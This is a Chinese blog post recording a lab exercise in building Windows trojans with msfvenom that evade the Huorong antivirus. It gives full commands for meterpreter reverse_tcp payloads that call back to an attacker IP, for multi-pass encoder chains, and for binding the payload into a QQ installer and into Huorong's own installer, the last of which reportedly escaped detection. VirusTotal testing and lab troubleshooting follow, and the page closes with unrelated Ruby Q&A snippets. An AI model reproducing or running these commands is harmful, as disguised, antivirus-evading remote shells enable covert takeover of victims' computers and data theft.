草庐IT

【记录】kali制作绕过火绒检测的木马(仅通过MSF的方式)

洇玖 2023-08-10 原文

目的:制作一个能够绕过火绒检测的简单木马,熟悉一下怎么使用msfvenom制作木马,因此此处使用的火绒版本较低。

工具准备:火绒安全-3.0.42.0

下载文章:火绒历史全版本

百度网盘链接:https://pan.baidu.com/s/1ZrpYG63aDtQDVBnDFZoeXw
提取码:kr72

实验环境:kali-2019.4 (攻击方,IP:192.168.255.130)、win10(靶机)

【知识补充】

关于Msfvenom:

(msfvenom ----a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.)

是用来生成后门的软件,在目标机上执行,在本地机上监听上线。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
 

关于免杀:  其实就是使制作的木马免于杀毒软件查杀的意思。技术实现方面由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避杀毒软件的查杀。

1.使用kali自带工具Msfvenom制作 木马

这里使用6种不同方法进行木马制作

方式1)直接生成裸露的木马

在kali虚拟机上终端输入命令直接生成一个裸漏的木马:

msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -f exe -o /root/Desktop/csdn.exe

上面参数意思:

-a

--arch < architecture>

指定payload的目标架构,例如x86 还是 x64 还是 x86_64

-p

--payload < payload>

指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

lhost指定shell返回的地址
lport指定shell返回的端口
-f--format < format> 指定输出格式
-o--out < path> 指定创建好的payload的存放位置

补充:Msfvenom介绍及利用 内含参数介绍


能看到桌面上生成了一个 csdn.exe 的可执行程序


方式2)生成木马捆绑在正常的安装包上并进行MSF编码使其具备免杀能力

在 Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,MSF 编码器会将原始程序解码到内存中并执行。

在1)的基础上增加了两个参数,一个是捆绑一个是进行MSF编码

MSF编码方式有很多种,查看方式    msfvenom -l encoders

 级别中评得上excellent的只有 

cmd/powershell_base64

x86/shikata_ga_nai    (接下来使用这种方式编码)

先在kali上随便下载一个软件的安装包,我这里是QQ安装包

下载到桌面

进入桌面:cd /root/Desktop

然后执行命令生成 Windows环境下的木马、并捆绑到QQ9.5.9.28650.exe文件上,同时对进行捆绑后生成的木马文件QQ.Installer.exe进行x86/shikata_ga_nai 编码方式的进行免杀处理:

(了解:Meatsploit 自带了用于捆绑木马的程序模板,其位置在data/templates/template.exe

msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe

 

 参数意思:

-e:指定编码方式对攻击载荷进行重新编码

-x:指定木马捆绑在哪个可执行程序模版上

-i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀

生成的木马

方式3)生成木马并进行UPX加壳------加壳失败

upx 打包器的原理非常简单,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。打包器的本质目的是反调试,防止逆向工程,而这里使用打包器的目的是为了改变后门程序的特征码。

upx  可查看UPX简略参数介绍,要是想看详细介绍 upx --help 

将刚刚第二种方法生成的木马复制一份,对复制的那份进行upx加壳处理

 upx QQ.Installer.1.exe 

此种方法失败了。QQ.Installer.1.exe 实际上与QQ.Installer.exe是一样的

失败原因可能是原.exe文件太小,upx压缩失败。

方式4)使用多次编码

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o csdn2.0.exe

 

方式5)使用多次编码再进行upx加壳

可直接复制法4的木马直接进行加壳

 将新的csdn2.0.exe改名为csdn2.0.upx.exe 以作区分

方式6)多次编码并捆绑火绒的可执行程序

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x sysdiag-full-4.0.81.0.exe -k -f exe > csdn2.exe

 

2.再在win10上验证查看它们的免杀能力

注意点:火绒安全要在断网状态下进行病毒查杀,不然可能会更新病毒库。

使用共享文件夹传到本机

使用火绒安全进行病毒查杀结果:

前面5种方式全被查出,第6种避免了查杀。

3.后续操作----本地机上监听上线

由于本人用的主机win10而非虚拟机,故在此不进行实践操作

后续操作参考:https://blog.csdn.net/qq_47639375/article/details/106270239

问题1:虚拟机无法连接网络

我的kali不能联网,当前WMware下别的虚拟机都可正常联网,并且都是net模式

问题解决方案:kali linux网络配置之NAT模式

这里我不想更改为桥接模式,其实改成桥接模式也能联网,并且虚拟机和主机互能ping通。

问题2:将.exe文件传输到靶机

由于需要传送文件,我选择安装VMware tools 工具

 我的重新安装VMware Tools是灰色的,解决方法参考vmware下Kali解决灰字无法安装VMware Tools

上面方法搞到一半失败了

最终参考

kali2019与win10主机间不能文件互通,我以为安装VMware-tools就可以了。但是在新版本中,VMware自带的vmware-tools已经没效果,官方建议是安装open-vm-tools-desktop来代替其跟物理机交互,所以以下是安装open-vm-tools-desktop的详细教程。

Kali 2019安装Open-Vm-Tools-Desktop

上面总是会有问题,最终很白痴的方法,更新VMware版本,安装kali2021.4版本虚拟机。安装好后就拍了快照,以便后期再出现问题的时候一键恢复。

问题3:中间虚拟机出现了问题,卸载重装了很多遍都没用,最后更新了VMware版本到16版,再次安装kali2019.4时出现了问题

kali2019.4超详(luo)细(suo)安装教程和中文乱码的解决

apt-get update报错

  解决方法:  刚安装好的kali2019更新源报错问题解决

关于kali2019.4的更新源 (任意选择其中一组就可用,我选的清华源)

#清华大学

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#阿里云

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#中科大

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#浙大

deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

最后最后,上面安装的虚拟机在 apt-get update 之后的 apt-get upgrade

报错,原因找了很久,发现可能是因为kali版本和VMware版本相差太远以至于update的包安装覆盖之类的问题导致报错。-----然后我重新下载了iso镜像,kali2021.4版本。结果upgrade还是有问题,甚至还upgrade之后莫名其妙连不上网络。无法解决问题,于是又重装了一遍---傻瓜万能解决方法。等以后深入学习了再找问题的原因。学习到了apt update ,apt upgrade 和 apt dist-upgrade 的区别

Linux kali开启端口、关闭防火墙方法

后记

       还需寻找别的方法制作免杀木马,捆绑查杀工具的方式避免检测不保险。

补充:之后还试了先生成.c文件再用VS2019进行编码,生成解决方案得到木马,也没通过火绒检测。

看到有别的编码方式,用工具,用VC++,

先生成.py文件,用工具 py2exe将.py文件转换为.exe文件。

-----我之后又试了电脑管家检测,发现除了捆绑的火绒的那个木马没被检测到外,那两个捆绑QQ的也没被检测出来,哼哼,不愧是Tencent啊~

 关于制作木马,还想尝试的方法

利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑

Kali木马免杀,权限提升(kali本地木马免杀)

UPX源码分析——加壳篇

在线杀毒 (www.virustotal.com)
VirusTotal,是一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。它与传统杀毒软件的不同之处是它通过多种反病毒引擎(包含360、腾讯、微软、赛门铁克等)扫描文件,使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。这样大大减少了杀毒软件误杀或未检出病毒的几率,其检测率优于使用单一产品。

检测:

多次编码捆绑火绒-------法6生成的木马

.c文件通过VisualStudio2019编译形成的.exe--------补充里的方法

多次编码未加壳-----------法4生成的木马

多次编码加壳-----------法5生成的木马

 .py  用Py2exe生成 .exe       ----- 补充里的方法

 .py  用Py2exe生成 .exe       用7zip压缩           ----------  补充里的方法

有关【记录】kali制作绕过火绒检测的木马(仅通过MSF的方式)的更多相关文章

  1. ruby - 如何以所有可能的方式将字符串拆分为长度最多为 3 的连续子字符串? - 2

    我试图获取一个长度在1到10之间的字符串,并输出将字符串分解为大小为1、2或3的连续子字符串的所有可能方式。例如:输入:123456将整数分割成单个字符,然后继续查找组合。该代码将返回以下所有数组。[1,2,3,4,5,6][12,3,4,5,6][1,23,4,5,6][1,2,34,5,6][1,2,3,45,6][1,2,3,4,56][12,34,5,6][12,3,45,6][12,3,4,56][1,23,45,6][1,2,34,56][1,23,4,56][12,34,56][123,4,5,6][1,234,5,6][1,2,345,6][1,2,3,456][123

  2. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  3. ruby - 通过 rvm 升级 ruby​​gems 的问题 - 2

    尝试通过RVM将RubyGems升级到版本1.8.10并出现此错误:$rvmrubygemslatestRemovingoldRubygemsfiles...Installingrubygems-1.8.10forruby-1.9.2-p180...ERROR:Errorrunning'GEM_PATH="/Users/foo/.rvm/gems/ruby-1.9.2-p180:/Users/foo/.rvm/gems/ruby-1.9.2-p180@global:/Users/foo/.rvm/gems/ruby-1.9.2-p180:/Users/foo/.rvm/gems/rub

  4. ruby - 通过 erb 模板输出 ruby​​ 数组 - 2

    我正在使用puppet为ruby​​程序提供一组常量。我需要提供一组主机名,我的程序将对其进行迭代。在我之前使用的bash脚本中,我只是将它作为一个puppet变量hosts=>"host1,host2"我将其提供给bash脚本作为HOSTS=显然这对ruby​​不太适用——我需要它的格式hosts=["host1","host2"]自从phosts和putsmy_array.inspect提供输出["host1","host2"]我希望使用其中之一。不幸的是,我终其一生都无法弄清楚如何让它发挥作用。我尝试了以下各项:我发现某处他们指出我需要在函数调用前放置“function_”……这

  5. ruby - 通过 ruby​​ 进程共享变量 - 2

    我正在编写一个gem,我必须在其中fork两个启动两个webrick服务器的进程。我想通过基类的类方法启动这个服务器,因为应该只有这两个服务器在运行,而不是多个。在运行时,我想调用这两个服务器上的一些方法来更改变量。我的问题是,我无法通过基类的类方法访问fork的实例变量。此外,我不能在我的基类中使用线程,因为在幕后我正在使用另一个不是线程安全的库。所以我必须将每个服务器派生到它自己的进程。我用类变量试过了,比如@@server。但是当我试图通过基类访问这个变量时,它是nil。我读到在Ruby中不可能在分支之间共享类变量,对吗?那么,还有其他解决办法吗?我考虑过使用单例,但我不确定这是

  6. ruby - 通过 RVM (OSX Mountain Lion) 安装 Ruby 2.0.0-p247 时遇到问题 - 2

    我的最终目标是安装当前版本的RubyonRails。我在OSXMountainLion上运行。到目前为止,这是我的过程:已安装的RVM$\curl-Lhttps://get.rvm.io|bash-sstable检查已知(我假设已批准)安装$rvmlistknown我看到当前的稳定版本可用[ruby-]2.0.0[-p247]输入命令安装$rvminstall2.0.0-p247注意:我也试过这些安装命令$rvminstallruby-2.0.0-p247$rvminstallruby=2.0.0-p247我很快就无处可去了。结果:$rvminstall2.0.0-p247Search

  7. ruby - Sinatra:运行 rspec 测试时记录噪音 - 2

    Sinatra新手;我正在运行一些rspec测试,但在日志中收到了一堆不需要的噪音。如何消除日志中过多的噪音?我仔细检查了环境是否设置为:test,这意味着记录器级别应设置为WARN而不是DEBUG。spec_helper:require"./app"require"sinatra"require"rspec"require"rack/test"require"database_cleaner"require"factory_girl"set:environment,:testFactoryGirl.definition_file_paths=%w{./factories./test/

  8. ruby-on-rails - Enumerator.new 如何处理已通过的 block ? - 2

    我在理解Enumerator.new方法的工作原理时遇到了一些困难。假设文档中的示例:fib=Enumerator.newdo|y|a=b=1loopdoy[1,1,2,3,5,8,13,21,34,55]循环中断条件在哪里,它如何知道循环应该迭代多少次(因为它没有任何明确的中断条件并且看起来像无限循环)? 最佳答案 Enumerator使用Fibers在内部。您的示例等效于:require'fiber'fiber=Fiber.newdoa=b=1loopdoFiber.yieldaa,b=b,a+bendend10.times.m

  9. ruby - RuntimeError(自动加载常量 Apps 多线程时检测到循环依赖 - 2

    我收到这个错误:RuntimeError(自动加载常量Apps时检测到循环依赖当我使用多线程时。下面是我的代码。为什么会这样?我尝试多线程的原因是因为我正在编写一个HTML抓取应用程序。对Nokogiri::HTML(open())的调用是一个同步阻塞调用,需要1秒才能返回,我有100,000多个页面要访问,所以我试图运行多个线程来解决这个问题。有更好的方法吗?classToolsController0)app.website=array.join(',')putsapp.websiteelseapp.website="NONE"endapp.saveapps=Apps.order("

  10. ruby-on-rails - Rails 5 Active Record 记录无效错误 - 2

    我有两个Rails模型,即Invoice和Invoice_details。一个Invoice_details属于Invoice,一个Invoice有多个Invoice_details。我无法使用accepts_nested_attributes_forinInvoice通过Invoice模型保存Invoice_details。我收到以下错误:(0.2ms)BEGIN(0.2ms)ROLLBACKCompleted422UnprocessableEntityin25ms(ActiveRecord:4.0ms)ActiveRecord::RecordInvalid(Validationfa

随机推荐